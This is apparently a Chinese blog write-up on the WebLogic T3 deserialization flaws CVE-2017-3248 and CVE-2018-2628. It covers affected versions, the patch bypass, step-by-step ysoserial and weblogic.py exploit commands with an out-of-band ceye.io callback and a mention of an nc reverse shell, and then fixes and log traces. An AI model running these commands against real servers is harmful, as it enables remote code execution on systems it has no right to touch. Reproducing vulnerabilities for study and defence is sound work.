CVE-2017-3248&CVE-2018-2628

CVE-2017-3248

漏洞利用前提
  • 影响版本
    WebLogic 10.3.6.0
    WebLogic 12.1.3.0
    WebLogic 12.2.1.0
    WebLogic 12.2.1.1
原理简析

这个漏洞的产生是因为绕过了cve-2015-4852的补丁,该补丁中采用黑名单的方式过滤危险的反序列化类,但是这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,那么之前的防护就会被打破,系统遭受攻击

漏洞利用方法

与cve-2018-2628一致,因为cve-2018-2628就是绕过了cve-2017-3248的补丁而已,所以CVE-2018-2628可以利用的payload同样可以应用于本漏洞

修复方案

参考CVE-2018-2628

痕迹分析

同CVE-2018-2628

CVE-2018-2628

漏洞利用前提
  • 版本
    Oracle WebLogic Server10.3.6.0
    Oracle WebLogic Server12.2.1.2
    Oracle WebLogic Server12.2.1.3
    Oracle WebLogic Server12.1.3.0

  • 配置
    开启T3协议(默认为开启状态)

原理简析

这个洞产生原因是 weblogic 对于 T3 协议发送的数据包没有过滤,攻击者通过T3协议发送一段序列化后的恶意数据,这段数据经过weblogic反序列后生成的对象会请求攻击者的rmi服务端,加载恶意数据,再反序列化生成一个对象,利用反射机制导致命令执行。

说到这个漏洞就不得不提CVE-2017-3248,因为这个漏洞是绕过CVE-2017-3248的补丁而产生的,我们先来看看3248的补丁做了什么
在这里插入图片描述由上图可见,补丁采用黑名单的方式在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass,这个resolveProxyClass只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry,是的话抛出错误。

绕过思路很简单,找另外一个可利用的RMI接口,这里使用java.rmi.activation.Activator来生成payload

漏洞利用方法

我们使用著名的ysoserial工具来进行复现

生成payload

java -jar /opt/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar payload 攻击者服务器ip:攻击者服务器监听的端口 > payload写入的文件

例:生成的payload写入文件axin
java -jar /opt/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 127.0.0.1:1099 > axin

注意:这里使用的是JRMPClient2,这个版本是使用的java.rmi.activation.Activator来生成payload,除此之外ysoserial中还有一个JRMPClient,这个版本则是使用的java.rmi.registry.Registry生成payload

攻击者服务器上进行监听

java -cp ysoserial-0.6-SNAPSHOT-BETA-all.jar exploit 监听端口 使用的类 需要执行的命令

例:java -cp ysoserial-0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "ping 123333.3w9vbg.ceye.io"

发送payload到目标主机

这里需要用到一个利用T3协议发送数据的脚本
python weblogic.py 目标主机 目标端口 payload文件

例:python weblogic.py 127.0.0.1 7001 axin
如果利用成功可以在ceye.io平台上看到相应的DNS解析记录,这也就说明了命令成功执行了。
监听端,收到来自目标机的请求
在这里插入图片描述
ceye平台有相应dns解析记录
在这里插入图片描述
至此漏洞复现完成,当然还可以尝试执行其他命令,例如在特定场景下利用nc反弹一个shell等

修复方案
  • 打补丁
  • 禁用T3协议
    在这里插入图片描述连接筛选器填:weblogic.security.net.ConnectionFilterImpl
    筛选规则填取:* * 7001 deny t3 t3s (根据需要修改)
    重启生效。
痕迹分析

该漏洞直接利用t3协议触发,在日志中不会有记录,所以很难排查痕迹

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值